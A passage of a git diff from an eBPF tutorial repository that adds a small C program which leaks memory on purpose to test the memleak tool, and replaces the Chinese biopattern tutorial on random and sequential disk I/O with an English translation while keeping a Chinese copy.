blazesym_result_free(result); + blaze_syms_free(syms); } int print_stack_frames(struct allocation *allocs, size_t nr_allocs, int stack_traces_fd) diff --git a/src/16-memleak/test_memleak.c b/src/16-memleak/test_memleak.c new file mode 100644 index 00000000..2f755a0e --- /dev/null +++ b/src/16-memleak/test_memleak.c @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +// Test program for memleak - intentionally leaks memory for testing +#include +#include +#include + +void leak_small() { + malloc(1024); +} + +void leak_large() { + malloc(8192); +} + +void leak_with_loop() { + for (int i = 0; i < 5; i++) { + malloc(2048); + } +} + +int main() { + printf("Memory leak test starting (PID: %d)\n", getpid()); + printf("This program intentionally leaks memory for testing memleak\n"); + + // Wait a bit for memleak to attach + sleep(2); + + // Create various leaks + leak_small(); + sleep(1); + + leak_large(); + sleep(1); + + leak_with_loop(); + sleep(1); + + // Keep running so memleak can observe + printf("Leaks created, sleeping for 30 seconds...\n"); + sleep(30); + + printf("Test complete\n"); + return 0; +} diff --git a/src/17-biopattern/.config b/src/17-biopattern/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/17-biopattern/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/17-biopattern/README.md b/src/17-biopattern/README.md index e07e976b..6ab9f67f 100644 --- a/src/17-biopattern/README.md +++ b/src/17-biopattern/README.md @@ -1,41 +1,43 @@ -# eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O +# eBPF Tutorial by Example 17: Count Random/Sequential Disk I/O -eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一种新技术,允许用户在内核空间中执行自定义程序,而无需更改内核代码。这为系统管理员和开发者提供了强大的工具,可以深入了解和监控系统的行为,从而进行优化。 +eBPF (Extended Berkeley Packet Filter) is a new technology in the Linux kernel that allows users to execute custom programmes in kernel space without changing the kernel code. This provides system administrators and developers with powerful tools to gain insight into and monitor system behaviour for optimisation. -在本篇教程中,我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一,特别是在数据密集型应用中。 +In this tutorial, we will explore how to use eBPF to write programs to count random and sequential disk I/O. Disk I/O is one of the key metrics of computer performance, especially in data-intensive applications. -## 随机/顺序磁盘 I/O +> The complete source code: -随着技术的进步和数据量的爆炸性增长,磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此,深入了解和优化磁盘 I/O,特别是随机和顺序的 I/O,变得尤为重要。 +## Random/Sequential Disk I/O -1. **随机 I/O**:随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动,导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。 +As technology advances and data volumes explode, disk I/O becomes a critical bottleneck in system performance. The performance of an application depends heavily on how it interacts with the storage tier. Therefore, it becomes especially important to deeply understand and optimise disk I/O, especially random and sequential I/O. -2. **顺序 I/O**:与随机 I/O 相反,顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动,从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。 +1. **Random I/O**: Random I/O occurs when an application reads or writes data from or to a non-sequential location on the disk. The main characteristic of this I/O mode is that the disk head needs to move frequently between locations, causing it to be typically slower than sequential I/O. Typical scenarios that generate random I/O include database queries, file system metadata operations, and concurrent tasks in virtualised environments. -为了实现存储性能的最优化,了解随机和顺序的磁盘 I/O 是至关重要的。例如,随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘,因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反,对于大量顺序 I/O 的应用,如何最大化磁盘的连续读写速度则更为关键。 +2. **Sequential I/O**: In contrast to random I/O, sequential I/O occurs when an application continuously reads or writes blocks of data to or from disk. The advantage of this I/O mode is that the disk head can move continuously in one direction, which greatly increases the speed at which data can be read and written. Video playback, downloading or uploading large files, and continuous logging are typical applications that generate sequential I/O. -在本教程的后续部分,我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为,还可以为进一步的性能优化提供有力的数据支持。 +To optimise storage performance, it is critical to understand both random and sequential disk I/O. For example, random I/O-sensitive applications typically perform far better on SSDs than on traditional hard drives because SSDs have virtually no addressing latency when dealing with random I/Os. Conversely, for applications with a lot of sequential I/O, it is much more critical to maximize the sequential read and write speed of the disk. + +In the rest of this tutorial, we will discuss in detail how to use the eBPF tool to monitor and count both types of disk I/O in real time, which will not only help us better understand the I/O behaviour of the system, but will also provide us with strong data for further performance optimization. ## Biopattern -Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 +Biopattern counts the percentage of random/sequential disk I/Os. -首先,确保你已经正确安装了 libbpf 和相关的工具集,可以在这里找到对应的源代码:[bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 关于如何安装依赖,请参考: +First of all, make sure that you have installed libbpf and the associated toolset correctly, you can find the source code here: [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) -导航到 `biopattern` 的源代码目录,并使用 `make` 命令进行编译: +Navigate to the `biopattern` source directory and compile it using the `make` command: ```bash cd ~/bpf-developer-tutorial/src/17-biopattern make ``` -编译成功后,你应该可以在当前目录下看到 `biopattern` 的可执行文件。基本的运行命令如下: +After successful compilation, you should see the `biopattern` executable in the current directory. The basic runtime commands are as follows: ```bash sudo ./biopattern [interval] [count] ``` -例如,要每秒打印一次输出,并持续10秒,你可以运行: +For example, to print the output once per second for 10 seconds, you can run: ```console $ sudo ./biopattern 1 10 @@ -48,24 +50,24 @@ sda 100 0 26 136 sda 0 100 1 4 ``` -输出列的含义如下: +The output columns have the following meanings: -- `DISK`:被追踪的磁盘名称。 -- `%RND`:随机 I/O 的百分比。 -- `%SEQ`:顺序 I/O 的百分比。 -- `COUNT`:在指定的时间间隔内的 I/O 请求次数。 -- `KBYTES`:在指定的时间间隔内读写的数据量(以 KB 为单位)。 +- `DISK`: Name of the disk being tracked. +- `%RND`: Percentage of random I/O. +- `%SEQ`: percentage of sequential I/O. +- `COUNT`: Number of I/O requests in the specified interval. +- `KBYTES`: amount of data (in KB) read and written in the specified time interval. -从上述输出中,我们可以得出以下结论: +From the above output, we can draw the following conclusions: -- `sr0` 和 `sr1` 设备在观测期间主要进行了顺序 I/O,但数据量很小。 -- `sda` 设备在某些时间段内只进行了随机 I/O,而在其他时间段内只进行了顺序 I/O。 +- The `sr0` and `sr1` devices performed mostly sequential I/O during the observation period, but the amount of data was small. +- The `sda` device performed only random I/O during some time periods and only sequential I/O during other time periods. -这些信息可以帮助我们了解系统的 I/O 模式,从而进行针对性的优化。 +This information can help us understand the I/O pattern of the system so that we can target optimisation. -## eBPF Biopattern 实现原理 +## eBPF Biopattern Implementation Principles -首先,让我们看一下 biopattern 的核心 eBPF 内核态代码: +First, let's look at the eBPF kernel state code at the heart of biopattern: ```c #include @@ -125,29 +127,27 @@ int handle__block_rq_complete(void *args) char LICENSE[] SEC("license") = "GPL"; ``` -1. 全局变量定义 +Global variable definitions: ```c - const volatile bool filter_dev = false; - const volatile __u32 targ_dev = 0; + const volatile bool filter_dev = false; + const volatile __u32 targ_dev = 0; ``` -这两个全局变量用于设备过滤。`filter_dev` 决定是否启用设备过滤,而 `targ_dev` 是我们想要追踪的目标设备的标识符。 +These two global variables are used for device filtering. `filter_dev` determines whether device filtering is enabled or not, and `targ_dev` is the identifier of the target device we want to track. -BPF map 定义: +BPF map definition: ```c - struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 64); - __type(key, u32); - __type(value, struct counter); - } counters SEC(".maps"); + struct { __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 64); __type(key, u32); + __type(value, struct counter); + } counters SEC(".maps"). ``` -这部分代码定义了一个 BPF map,类型为哈希表。该映射的键是设备的标识符,而值是一个 `counter` 结构体,用于存储设备的 I/O 统计信息。 +This part of the code defines a BPF map of type hash table. The key of the map is the identifier of the device, and the value is a `counter` struct, which is used to store the I/O statistics of the device. -追踪点函数: +The tracepoint function: ```c SEC("tracepoint/block/block_rq_complete") @@ -188,23 +188,26 @@ BPF map 定义: } ``` -在 Linux 中,每次块设备的 I/O 请求完成时,都会触发一个名为 `block_rq_complete` 的追踪点。这为我们提供了一个机会,通过 eBPF 来捕获这些事件,并进一步分析 I/O 的模式。 +In Linux, a trace point called `block_rq_complete` is triggered every time an I/O request for a block device completes. This provides an opportunity to capture these events with eBPF and further analyse the I/O patterns. + +Main Logic Analysis: + +- **Extracting I/O request information**: get information about the I/O request from the incoming parameters. There are two possible context structures depending on the return value of `has_block_rq_completion`. This is because different versions of the Linux kernel may have different tracepoint definitions. In either case, we extract the sector number `(sector)`, the number of sectors `(nr_sector)` and the device identifier `(dev)` from the context. -主要逻辑分析: +- **Device filtering**: If device filtering is enabled `(filter_dev` is `true` ) and the current device is not the target device `(targ_dev` ), it is returned directly. This allows the user to track only specific devices, not all devices. -- **提取 I/O 请求信息**:从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构,取决于 `has_block_rq_completion` 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况,我们都从上下文中提取出扇区号 (`sector`)、扇区数量 (`nr_sector`) 和设备标识符 (`dev`)。 -- **设备过滤**:如果启用了设备过滤 (`filter_dev` 为 `true`),并且当前设备不是目标设备 (`targ_dev`),则直接返回。这允许用户只追踪特定的设备,而不是所有设备。 -- **统计信息更新**: - - **查找或初始化统计信息**:使用 `bpf_map_lookup_or_try_init` 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息,它会使用 `zero` 结构体进行初始化。 - - **判断 I/O 模式**:根据当前 I/O 请求与上一个 I/O 请求的扇区号,我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同,那么它是顺序的;否则,它是随机的。然后,我们使用 `__sync_fetch_and_add` 函数更新相应的统计信息。这是一个原子操作,确保在并发环境中数据的一致性。 - - **更新数据量**:我们还更新了该设备的总数据量,这是通过将扇区数量 (`nr_sector`) 乘以 512(每个扇区的字节数)来实现的。 - - **更新最后一个 I/O 请求的扇区号**:为了下一次的比较,我们更新了 `last_sector` 的值。 +- **Statistics update**: -在 Linux 内核的某些版本中,由于引入了一个新的追踪点 `block_rq_error`,追踪点的命名和结构发生了变化。这意味着,原先的 `block_rq_complete` 追踪点的结构名称从 `trace_event_raw_block_rq_complete` 更改为 `trace_event_raw_block_rq_completion`。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。 + - **Lookup or initialise statistics**: use the `bpf_map_lookup_or_try_init` function to lookup or initialise statistics related to the current device. If there is no statistics for the current device in the map, it will be initialised using the `zero` structure. +- **Determine the I/O mode**: Based on the sector number of the current I/O request and the previous I/O request, we can determine whether the current request is random or sequential. If the sector numbers of the two requests are the same, then it is sequential; otherwise, it is random. We then use the `__sync_fetch_and_add` function to update the corresponding statistics. This is an atomic operation that ensures data consistency in a concurrent environment. +- **Update the amount of data**: we also update the total amount of data for the device, which is done by multiplying the number of sectors `(nr_sector` ) by 512 (the number of bytes per sector). +- **Update the sector number of the last I/O request**: for the next comparison, we update the value of `last_sector`. -为了解决这个问题,`biopattern` 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构,即 `has_block_rq_completion` 函数。 +In some versions of the Linux kernel, the naming and structure of the tracepoint has changed due to the introduction of a new tracepoint, `block_rq_error`. This means that the structural name of the former `block_rq_complete` tracepoint has been changed from `trace_event_raw_block_rq_complete` to `trace_event_raw_block_rq_completion`, a change which may cause compatibility issues with eBPF programs on different versions of the kernel. This change may cause compatibility issues with eBPF programs on different versions of the kernel. -1. **定义两种追踪点结构**: +To address this issue, the `biopattern` utility introduces a mechanism to dynamically detect which trace point structure is currently used by the kernel, namely the `has_block_rq_completion` function. + +1. **Define two trace point structures**: ```c struct trace_event_raw_block_rq_complete___x { @@ -220,9 +223,9 @@ BPF map 定义: } __attribute__((preserve_access_index)); ``` -这里定义了两种追踪点结构,分别对应于不同版本的内核。每种结构都包含设备标识符 (`dev`)、扇区号 (`sector`) 和扇区数量 (`nr_sector`)。 +Two tracepoint structures are defined here, corresponding to different versions of the kernel. Each structure contains a device identifier `(dev` ), sector number `(sector` ), and number of sectors `(nr_sector` ). -**动态检测追踪点结构**: +**Dynamic detection of trackpoint structures**: ```c static __always_inline bool has_block_rq_completion() @@ -233,13 +236,13 @@ BPF map 定义: } ``` -`has_block_rq_completion` 函数使用 `bpf_core_type_exists` 函数来检测当前内核是否存在 `trace_event_raw_block_rq_completion___x` 结构。如果存在,函数返回 `true`,表示当前内核使用的是新的追踪点结构;否则,返回 `false`,表示使用的是旧的结构。在对应的 eBPF 代码中,会根据两种不同的定义分别进行处理,这也是适配不同内核版本之间的变更常见的方案。 +The `has_block_rq_completion` function uses the `bpf_core_type_exists` function to detect the presence of the structure `trace_event_raw_block_rq_completion___x` in the current kernel. If it exists, the function returns `true`, indicating that the current kernel is using the new tracepoint structure; otherwise, it returns `false`, indicating that it is using the old structure. The two different definitions are handled separately in the corresponding eBPF code, which is a common solution for adapting to changes between kernel versions. -### 用户态代码 +### User State Code -`biopattern` 工具的用户态代码负责从 BPF 映射中读取统计数据,并将其展示给用户。通过这种方式,系统管理员可以实时监控每个设备的 I/O 模式,从而更好地理解和优化系统的 I/O 性能。 +The `biopattern` tool's userland code is responsible for reading statistics from the BPF mapping and presenting them to the user. In this way, system administrators can monitor the I/O patterns of each device in real time to better understand and optimise the I/O performance of the system. -主循环: +1. Main loop ```c /* main: poll */ @@ -255,13 +258,13 @@ BPF map 定义: } ``` -这是 `biopattern` 工具的主循环,它的工作流程如下: +This is the main loop of the `biopattern` utility, and its workflow is as follows: -- **等待**:使用 `sleep` 函数等待指定的时间间隔 (`env.interval`)。 -- **打印映射**:调用 `print_map` 函数打印 BPF 映射中的统计数据。 -- **退出条件**:如果收到退出信号 (`exiting` 为 `true`) 或者达到指定的运行次数 (`env.times` 达到 0),则退出循环。 +- **Wait**: use the `sleep` function to wait for the specified interval `(env.interval` ). +- `print_map`: call `print_map` function to print the statistics in BPF map. +- **Exit condition**: if an exit signal is received `(exiting` is `true` ) or if the specified number of runs is reached `(env.times` reaches 0), the loop exits. -打印映射函数: +Print mapping function: ```c static int print_map(struct bpf_map *counters, struct partitions *partitions) @@ -312,18 +315,20 @@ BPF map 定义: } ``` -`print_map` 函数负责从 BPF 映射中读取统计数据,并将其打印到控制台。其主要逻辑如下: +The `print_map` function is responsible for reading statistics from the BPF map and printing them to the console. The main logic is as follows: + +- **Traverse the BPF map**: Use the `bpf_map_get_next_key` and `bpf_map_lookup_elem` functions to traverse the BPF map and get the statistics for each device. +- **Calculate totals**: Calculate the total number of random and sequential I/Os for each device. +- **Print statistics**: If timestamp is enabled `(env.timestamp` is `true` ), the current time is printed first. Next, the device name, percentage of random I/O, percentage of sequential I/O, total I/O, and total data in KB are printed. +- **Cleaning up the BPF map**: For the next count, use the `bpf_map_get_next_key` and `bpf_map_delete_elem` functions to clean up all entries in the BPF map. -- **遍历 BPF 映射**:使用 `bpf_map_get_next_key` 和 `bpf_map_lookup_elem` 函数遍历 BPF 映射,获取每个设备的统计数据。 -- **计算总数**:计算每个设备的随机和顺序 I/O 的总数。 -- **打印统计数据**:如果启用了时间戳 (`env.timestamp` 为 `true`),则首先打印当前时间。接着,打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量(以 KB 为单位)。 -- **清理 BPF 映射**:为了下一次的统计,使用 `bpf_map_get_next_key` 和 `bpf_map_delete_elem` 函数清理 BPF 映射中的所有条目。 +## Summary -## 总结 +In this tutorial, we have taken an in-depth look at how to use the eBPF tool biopattern to monitor and count random and sequential disk I/O in real-time. we started by understanding the importance of random and sequential disk I/O and their impact on system performance. We then describe in detail how biopattern works, including how to define and use BPF maps, how to deal with tracepoint variations in different versions of the Linux kernel, and how to capture and analyse disk I/O events in an eBPF program. -在本教程中,我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性,以及它们对系统性能的影响。接着,我们详细介绍了 biopattern 的工作原理,包括如何定义和使用 BPF maps,如何处理不同版本的 Linux 内核中的追踪点变化,以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。 +You can visit our tutorial code repository [at https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [at https://eunomia.dev/zh/tutorials/](https://eunomia.dev/zh/tutorials/) for more examples and a complete tutorial. -您可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +- Source repo: +- bcc tool: -- 完整代码: -- bcc 工具: +> The original link of this article: diff --git a/src/17-biopattern/README.zh.md b/src/17-biopattern/README.zh.md new file mode 100644 index 00000000..e07e976b --- /dev/null +++ b/src/17-biopattern/README.zh.md @@ -0,0 +1,329 @@ +# eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O + +eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一种新技术,允许用户在内核空间中执行自定义程序,而无需更改内核代码。这为系统管理员和开发者提供了强大的工具,可以深入了解和监控系统的行为,从而进行优化。 + +在本篇教程中,我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一,特别是在数据密集型应用中。 + +## 随机/顺序磁盘 I/O + +随着技术的进步和数据量的爆炸性增长,磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此,深入了解和优化磁盘 I/O,特别是随机和顺序的 I/O,变得尤为重要。 + +1. **随机 I/O**:随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动,导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。 + +2. **顺序 I/O**:与随机 I/O 相反,顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动,从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。 + +为了实现存储性能的最优化,了解随机和顺序的磁盘 I/O 是至关重要的。例如,随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘,因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反,对于大量顺序 I/O 的应用,如何最大化磁盘的连续读写速度则更为关键。 + +在本教程的后续部分,我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为,还可以为进一步的性能优化提供有力的数据支持。 + +## Biopattern + +Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 + +首先,确保你已经正确安装了 libbpf 和相关的工具集,可以在这里找到对应的源代码:[bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 关于如何安装依赖,请参考: + +导航到 `biopattern` 的源代码目录,并使用 `make` 命令进行编译: + +```bash +cd ~/bpf-developer-tutorial/src/17-biopattern +make +``` + +编译成功后,你应该可以在当前目录下看到 `biopattern` 的可执行文件。基本的运行命令如下: + +```bash +sudo ./biopattern [interval] [count] +``` + +例如,要每秒打印一次输出,并持续10秒,你可以运行: + +```console +$ sudo ./biopattern 1 10 +Tracing block device I/O requested seeks... Hit Ctrl-C to end. +DISK %RND %SEQ COUNT KBYTES +sr0 0 100 3 0 +sr1 0 100 8 0 +sda 0 100 1 4 +sda 100 0 26 136 +sda 0 100 1 4 +``` + +输出列的含义如下: + +- `DISK`:被追踪的磁盘名称。 +- `%RND`:随机 I/O 的百分比。 +- `%SEQ`:顺序 I/O 的百分比。 +- `COUNT`:在指定的时间间隔内的 I/O 请求次数。 +- `KBYTES`:在指定的时间间隔内读写的数据量(以 KB 为单位)。 + +从上述输出中,我们可以得出以下结论: + +- `sr0` 和 `sr1` 设备在观测期间主要进行了顺序 I/O,但数据量很小。 +- `sda` 设备在某些时间段内只进行了随机 I/O,而在其他时间段内只进行了顺序 I/O。 + +这些信息可以帮助我们了解系统的 I/O 模式,从而进行针对性的优化。 + +## eBPF Biopattern 实现原理 + +首先,让我们看一下 biopattern 的核心 eBPF 内核态代码: + +```c +#include +#include +#include +#include "biopattern.h" +#include "maps.bpf.h" +#include "core_fixes.bpf.h" + +const volatile bool filter_dev = false; +const volatile __u32 targ_dev = 0; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 64); + __type(key, u32); + __type(value, struct counter); +} counters SEC(".maps"); + +SEC("tracepoint/block/block_rq_complete") +int handle__block_rq_complete(void *args) +{ + struct counter *counterp, zero = {}; + sector_t sector; + u32 nr_sector; + u32 dev; + + if (has_block_rq_completion()) { + struct trace_event_raw_block_rq_completion___x *ctx = args; + sector = BPF_CORE_READ(ctx, sector); + nr_sector = BPF_CORE_READ(ctx, nr_sector); + dev = BPF_CORE_READ(ctx, dev); + } else { + struct trace_event_raw_block_rq_complete___x *ctx = args; + sector = BPF_CORE_READ(ctx, sector); + nr_sector = BPF_CORE_READ(ctx, nr_sector); + dev = BPF_CORE_READ(ctx, dev); + } + + if (filter_dev && targ_dev != dev) + return 0; + + counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); + if (!counterp) + return 0; + if (counterp->last_sector) { + if (counterp->last_sector == sector) + __sync_fetch_and_add(&counterp->sequential, 1); + else + __sync_fetch_and_add(&counterp->random, 1); + __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); + } + counterp->last_sector = sector + nr_sector; + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +1. 全局变量定义 + +```c + const volatile bool filter_dev = false; + const volatile __u32 targ_dev = 0; +``` + +这两个全局变量用于设备过滤。`filter_dev` 决定是否启用设备过滤,而 `targ_dev` 是我们想要追踪的目标设备的标识符。 + +BPF map 定义: + +```c + struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 64); + __type(key, u32); + __type(value, struct counter); + } counters SEC(".maps"); +``` + +这部分代码定义了一个 BPF map,类型为哈希表。该映射的键是设备的标识符,而值是一个 `counter` 结构体,用于存储设备的 I/O 统计信息。 + +追踪点函数: + +```c + SEC("tracepoint/block/block_rq_complete") + int handle__block_rq_complete(void *args) + { + struct counter *counterp, zero = {}; + sector_t sector; + u32 nr_sector; + u32 dev; + + if (has_block_rq_completion()) { + struct trace_event_raw_block_rq_completion___x *ctx = args; + sector = BPF_CORE_READ(ctx, sector); + nr_sector = BPF_CORE_READ(ctx, nr_sector); + dev = BPF_CORE_READ(ctx, dev); + } else { + struct trace_event_raw_block_rq_complete___x *ctx = args; + sector = BPF_CORE_READ(ctx, sector); + nr_sector = BPF_CORE_READ(ctx, nr_sector); + dev = BPF_CORE_READ(ctx, dev); + } + + if (filter_dev && targ_dev != dev) + return 0; + + counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); + if (!counterp) + return 0; + if (counterp->last_sector) { + if (counterp->last_sector == sector) + __sync_fetch_and_add(&counterp->sequential, 1); + else + __sync_fetch_and_add(&counterp->random, 1); + __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); + } + counterp->last_sector = sector + nr_sector; + return 0; + } +``` + +在 Linux 中,每次块设备的 I/O 请求完成时,都会触发一个名为 `block_rq_complete` 的追踪点。这为我们提供了一个机会,通过 eBPF 来捕获这些事件,并进一步分析 I/O 的模式。 + +主要逻辑分析: + +- **提取 I/O 请求信息**:从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构,取决于 `has_block_rq_completion` 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况,我们都从上下文中提取出扇区号 (`sector`)、扇区数量 (`nr_sector`) 和设备标识符 (`dev`)。 +- **设备过滤**:如果启用了设备过滤 (`filter_dev` 为 `true`),并且当前设备不是目标设备 (`targ_dev`),则直接返回。这允许用户只追踪特定的设备,而不是所有设备。 +- **统计信息更新**: + - **查找或初始化统计信息**:使用 `bpf_map_lookup_or_try_init` 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息,它会使用 `zero` 结构体进行初始化。 + - **判断 I/O 模式**:根据当前 I/O 请求与上一个 I/O 请求的扇区号,我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同,那么它是顺序的;否则,它是随机的。然后,我们使用 `__sync_fetch_and_add` 函数更新相应的统计信息。这是一个原子操作,确保在并发环境中数据的一致性。 + - **更新数据量**:我们还更新了该设备的总数据量,这是通过将扇区数量 (`nr_sector`) 乘以 512(每个扇区的字节数)来实现的。 + - **更新最后一个 I/O 请求的扇区号**:为了下一次的比较,我们更新了 `last_sector` 的值。 + +在 Linux 内核的某些版本中,由于引入了一个新的追踪点 `block_rq_error`,追踪点的命名和结构发生了变化。这意味着,原先的 `block_rq_complete` 追踪点的结构名称从 `trace_event_raw_block_rq_complete` 更改为 `trace_event_raw_block_rq_completion`。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。 + +为了解决这个问题,`biopattern` 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构,即 `has_block_rq_completion` 函数。 + +1. **定义两种追踪点结构**: + +```c + struct trace_event_raw_block_rq_complete___x { + dev_t dev; + sector_t sector; + unsigned int nr_sector; + } __attribute__((preserve_access_index)); + + struct trace_event_raw_block_rq_completion___x { + dev_t dev; + sector_t sector; + unsigned int nr_sector; + } __attribute__((preserve_access_index)); +``` + +这里定义了两种追踪点结构,分别对应于不同版本的内核。每种结构都包含设备标识符 (`dev`)、扇区号 (`sector`) 和扇区数量 (`nr_sector`)。 + +**动态检测追踪点结构**: + +```c + static __always_inline bool has_block_rq_completion() + { + if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) + return true; + return false; + } +``` + +`has_block_rq_completion` 函数使用 `bpf_core_type_exists` 函数来检测当前内核是否存在 `trace_event_raw_block_rq_completion___x` 结构。如果存在,函数返回 `true`,表示当前内核使用的是新的追踪点结构;否则,返回 `false`,表示使用的是旧的结构。在对应的 eBPF 代码中,会根据两种不同的定义分别进行处理,这也是适配不同内核版本之间的变更常见的方案。 + +### 用户态代码 + +`biopattern` 工具的用户态代码负责从 BPF 映射中读取统计数据,并将其展示给用户。通过这种方式,系统管理员可以实时监控每个设备的 I/O 模式,从而更好地理解和优化系统的 I/O 性能。 + +主循环: + +```c + /* main: poll */ + while (1) { + sleep(env.interval); + + err = print_map(obj->maps.counters, partitions); + if (err) + break; + + if (exiting || --env.times == 0) + break; + } +``` + +这是 `biopattern` 工具的主循环,它的工作流程如下: + +- **等待**:使用 `sleep` 函数等待指定的时间间隔 (`env.interval`)。 +- **打印映射**:调用 `print_map` 函数打印 BPF 映射中的统计数据。 +- **退出条件**:如果收到退出信号 (`exiting` 为 `true`) 或者达到指定的运行次数 (`env.times` 达到 0),则退出循环。 + +打印映射函数: + +```c + static int print_map(struct bpf_map *counters, struct partitions *partitions) + { + __u32 total, lookup_key = -1, next_key; + int err, fd = bpf_map__fd(counters); + const struct partition *partition; + struct counter counter; + struct tm *tm; + char ts[32]; + time_t t; + + while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { + err = bpf_map_lookup_elem(fd, &next_key, &counter); + if (err < 0) { + fprintf(stderr, "failed to lookup counters: %d\n", err); + return -1; + } + lookup_key = next_key; + total = counter.sequential + counter.random; + if (!total) + continue; + if (env.timestamp) { + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + printf("%-9s ", ts); + } + partition = partitions__get_by_dev(partitions, next_key); + printf("%-7s %5ld %5ld %8d %10lld\n", + partition ? partition->name : "Unknown", + counter.random * 100L / total, + counter.sequential * 100L / total, total, + counter.bytes / 1024); + } + + lookup_key = -1; + while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { + err = bpf_map_delete_elem(fd, &next_key); + if (err < 0) { + fprintf(stderr, "failed to cleanup counters: %d\n", err); + return -1; + } + lookup_key = next_key; + } + + return 0; + } +``` + +`print_map` 函数负责从 BPF 映射中读取统计数据,并将其打印到控制台。其主要逻辑如下: + +- **遍历 BPF 映射**:使用 `bpf_map_get_next_key` 和 `bpf_map_lookup_elem` 函数遍历 BPF 映射,获取每个设备的统计数据。 +- **计算总数**:计算每个设备的随机和顺序 I/O 的总数。 +- **打印统计数据**:如果启用了时间戳 (`env.timestamp` 为 `true`),则首先打印当前时间。接着,打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量(以 KB 为单位)。 +- **清理 BPF 映射**:为了下一次的统计,使用 `bpf_map_get_next_key` 和 `bpf_map_delete_elem` 函数清理 BPF 映射中的所有条目。 + +## 总结 + +在本教程中,我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性,以及它们对系统性能的影响。接着,我们详细介绍了 biopattern 的工作原理,包括如何定义和使用 BPF maps,如何处理不同版本的 Linux 内核中的追踪点变化,以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。 + +您可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +- 完整代码: +- bcc 工具: diff --git a/src/17-biopattern/README_en.md b/src/17-biopattern/README_en.md deleted file mode 100644 index 2a7cb9c0..00000000 --- 